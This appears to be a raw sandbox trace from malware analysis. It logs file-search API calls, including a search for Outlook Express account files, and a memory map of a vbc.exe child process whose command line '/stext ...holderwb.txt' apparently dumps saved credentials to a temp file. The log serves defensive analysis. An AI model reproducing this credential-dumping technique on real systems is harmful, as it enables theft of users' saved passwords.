	[0095.479] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.479] strlen (_Str="") returned 0x0
	[0095.479] strlen (_Str="api-ms-win-core-synch-l1-1-0.dll") returned 0x20
	[0095.479] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] strlen (_Str="") returned 0x0
	[0095.479] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.479] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.479] strlen (_Str="") returned 0x0
	[0095.479] strlen (_Str="api-ms-win-core-synch-l1-2-0.dll") returned 0x20
	[0095.480] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.480] strlen (_Str="") returned 0x0
	[0095.480] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.480] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.480] strlen (_Str="") returned 0x0
	[0095.480] strlen (_Str="api-ms-win-core-sysinfo-l1-1-0.dll") returned 0x22
	[0095.480] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.480] strlen (_Str="") returned 0x0
	[0095.480] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.480] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.480] strlen (_Str="") returned 0x0
	[0095.480] strlen (_Str="api-ms-win-core-threadpool-l1-1-0.dll") returned 0x25
	[0095.480] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.480] strlen (_Str="") returned 0x0
	[0095.480] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.480] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.480] strlen (_Str="") returned 0x0
	[0095.480] strlen (_Str="api-ms-win-core-timezone-l1-1-0.dll") returned 0x23
	[0095.480] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.480] strlen (_Str="") returned 0x0
	[0095.480] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.480] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.480] strlen (_Str="") returned 0x0
	[0095.480] strlen (_Str="api-ms-win-core-util-l1-1-0.dll") returned 0x1f
	[0095.480] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.480] strlen (_Str="") returned 0x0
	[0095.480] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.480] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.480] strlen (_Str="") returned 0x0
	[0095.480] strlen (_Str="api-ms-win-core-xstate-l1-1-0.dll") returned 0x21
	[0095.480] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.481] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.481] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.481] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.481] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.481] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.481] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.481] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.481] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.481] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.481] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.481] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.481] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.482] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.482] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.482] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.482] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.482] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.482] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.482] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.482] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.482] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.482] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.482] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.482] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.483] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.483] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.483] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.483] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.483] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.483] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.483] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.483] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.483] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.483] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.483] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.483] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.483] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.483] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.484] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.484] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.484] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.484] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.484] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.484] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.484] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.484] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.484] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.484] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.484] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.484] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.484] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.485] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.485] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.485] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.485] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.485] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.485] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.485] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.485] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.485] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.485] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.485] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.485] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.485] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.485] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.486] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.486] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.486] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.486] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.486] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.486] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.486] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.486] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.486] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.486] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.486] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.486] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.487] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.493] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.493] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.493] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.493] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.493] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.493] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.493] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.493] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.494] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.494] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.494] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.494] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.494] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.494] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.494] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.494] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.494] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.494] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.494] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.494] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.494] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.495] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.495] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.495] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.495] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.495] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.495] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.495] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.495] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.495] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.495] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.495] strcmp (_Str1="ar-SA", _Str2="..") returned 1
	[0095.495] strcmp (_Str1="ar-SA", _Str2=".") returned 1
	[0095.495] _mbscpy (in: param_1=0x18e32c, param_2=0x18e6f4 | out: param_1=0x18e32c) returned 0x18e32c
	[0095.496] _mbscat (in: param_1=0x18e32c, param_2=0x413044 | out: param_1=0x18e32c) returned 0x18e32c
	[0095.496] _mbscat (in: param_1=0x18e32c, param_2=0x41445c | out: param_1=0x18e32c) returned 0x18e32c
	[0095.496] FindFirstFileA (in: lpFileName="ar-SA\\*.oeaccount", lpFindFileData=0x18e470 | out: lpFindFileData=0x18e470) returned 0xffffffff
	[0095.516] _mbscpy (in: param_1=0x18e83c, param_2=0x18ec04 | out: param_1=0x18e83c) returned 0x18e83c
	[0095.516] _mbscat (in: param_1=0x18e83c, param_2=0x413044 | out: param_1=0x18e83c) returned 0x18e83c
	[0095.516] _mbscat (in: param_1=0x18e83c, param_2=0x413744 | out: param_1=0x18e83c) returned 0x18e83c
	[0095.516] FindFirstFileA (in: lpFileName="ar-SA\\*.*", lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 0x598c20
	[0095.517] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0095.517] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0095.517] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0095.517] strcmp (_Str1=".", _Str2="..") returned -1
	[0095.517] strcmp (_Str1=".", _Str2=".") returned 0
	[0095.517] FindNextFileA (in: hFindFile=0x598c20, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0095.517] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0095.517] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0095.517] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0095.517] strcmp (_Str1="..", _Str2="..") returned 0
	[0095.517] FindNextFileA (in: hFindFile=0x598c20, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0095.517] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0097.642] DeleteObject (ho=0x90a07bd) returned 1
	[0097.642] exit (_Code=0) 

Thread:
	id = 159
	os_tid = 0xaec


Process:
	id = "10"
	image_name = "vbc.exe"
	filename = "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\vbc.exe"
	page_root = "0x2089f000"
	os_pid = "0xad4"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "6"
	os_parent_pid = "0x140"
	cmd_line = "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe /stext \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt\""
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ee00" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 1813
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1814
	        start_va = 0x30000
	          end_va = 0x31fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 1815
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x40000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1816
	        start_va = 0x50000
	          end_va = 0x8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000050000"
	        filename = ""

Region:
	              id = 1817
	        start_va = 0x90000
	          end_va = 0x18ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000090000"
	        filename = ""

Region:
	              id = 1818
	        start_va = 0x190000
	          end_va = 0x193fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000190000"
	        filename = ""

Region:
	              id = 1819
	        start_va = 0x1a0000
	          end_va = 0x1a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001a0000"
	        filename = ""

Region:
	              id = 1820
	        start_va = 0x400000
	          end_va = 0x457fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000400000"
	        filename = ""

Region:
	              id = 1821
	        start_va = 0x77450000
	          end_va = 0x775f8fff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1822
	        start_va = 0x77630000
	          end_va = 0x777affff
	     entry_point = 0x77630000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")

Region:
	              id = 1823
	        start_va = 0x7efb0000
	          end_va = 0x7efd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efb0000"
	        filename = ""

Region:
	              id = 1824
	        start_va = 0x7efdb000
	          end_va = 0x7efddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdb000"
	        filename = ""

Region:
	              id = 1825
	        start_va = 0x7efde000
	          end_va = 0x7efdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efde000"
	        filename = ""

Region:
	              id = 1826
	        start_va = 0x7efdf000
	          end_va = 0x7efdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdf000"
	        filename = ""

Region:
	              id = 1827
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1828
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1829
	        start_va = 0x7fff0000
	          end_va = 0x7fffffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fff0000"
	        filename = ""

Region:
	              id = 1830
	        start_va = 0x340000
	          end_va = 0x3bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000340000"
	        filename = ""

Region:
	              id = 1831
	        start_va = 0x74ac0000
	          end_va = 0x74ac7fff
	     entry_point = 0x74ac0000
	     region_type = mapped_file
	            name = "wow64cpu.dll"
	        filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")

Region:
	              id = 1832
	        start_va = 0x74ad0000
	          end_va = 0x74b2bfff
	     entry_point = 0x74ad0000
	     region_type = mapped_file
	            name = "wow64win.dll"
	        filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")

Region:
	              id = 1833
	        start_va = 0x74b30000
	          end_va = 0x74b6efff
	     entry_point = 0x74b30000
	     region_type = mapped_file
	            name = "wow64.dll"
	        filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")

Region:
	              id = 1837
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1838
	        start_va = 0x1b0000
	          end_va = 0x216fff
	     entry_point = 0x1b0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1839
	        start_va = 0x310000
	          end_va = 0x31ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000310000"
	        filename = ""

Region:
	              id = 1840
	        start_va = 0x5f0000
	          end_va = 0x6effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000005f0000"
	        filename = ""

Region:
	              id = 1841
	        start_va = 0x74d50000
	          end_va = 0x74dd3fff
	     entry_point = 0x74d50000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")

Region:
	              id = 1842
	        start_va = 0x75070000
	          end_va = 0x75078fff
	     entry_point = 0x75070000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll")

Region:
	              id = 1843
	        start_va = 0x75180000
	          end_va = 0x7518bfff
	     entry_point = 0x75180000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")

Region:
	              id = 1844
	        start_va = 0x75190000
	          end_va = 0x751effff
	     entry_point = 0x75190000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")

Region:
	              id = 1845
	        start_va = 0x75210000
	          end_va = 0x752fffff
	     entry_point = 0x75210000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")

Region:
	              id = 1846
	        start_va = 0x753d0000
	          end_va = 0x7545ffff
	     entry_point = 0x753d0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")

Region:
	              id = 1847
	        start_va = 0x75460000
	          end_va = 0x754dafff
	     entry_point = 0x75460000
	     region_type = mapped_file
	            name = "comdlg32.dll"
	        filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll")

Region:
	              id = 1848
	        start_va = 0x756d0000
	          end_va = 0x75726fff
	     entry_point = 0x756d0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")

Region:
	              id = 1849
	        start_va = 0x75730000
	          end_va = 0x7583ffff
	     entry_point = 0x75730000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")

Region:
	              id = 1850
	        start_va = 0x75850000
	          end_va = 0x75895fff
	     entry_point = 0x75850000
	     region_type = mapped_file
	            name = "kernelbase.dll"
